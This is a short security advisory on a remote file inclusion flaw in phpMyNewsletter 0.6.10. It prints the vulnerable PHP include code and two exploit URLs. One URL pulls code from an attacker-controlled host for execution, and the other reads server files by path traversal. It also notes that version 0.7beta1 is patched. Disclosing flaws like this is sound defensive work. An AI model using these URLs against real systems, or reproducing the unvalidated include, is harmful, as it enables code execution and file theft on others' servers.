|
|
| |
| phpMyNewsletter is a newsletter management script written in PHP. A vulnerability in the product allows remote attackers to cause the product to execute arbitrary code. |
| |
Credit:
The information has been provided by Frog Man.
|
| |
Vulnerable systems:
* phpMyNewsletter version 0.6.10
Immune systems:
* phpMyNewsletter version 0.7beta1
PHP code:
---- /include/customize.php ----
<?
$langfile = $l;
include $l;
?>
---- /include/customize.php ----
Exploit:
http://[target]/include/customize.php?l=http://[attacker]/code.txt&text=Hello%20World
With in http://[attacker]/code.txt:
<? echo $text; ?>
Or
http://[target]/include/customize.php?l=../path/file/to/view
Patch:
Autor has been alerted and last version (0.7beta1) has been patched.
|
|
|
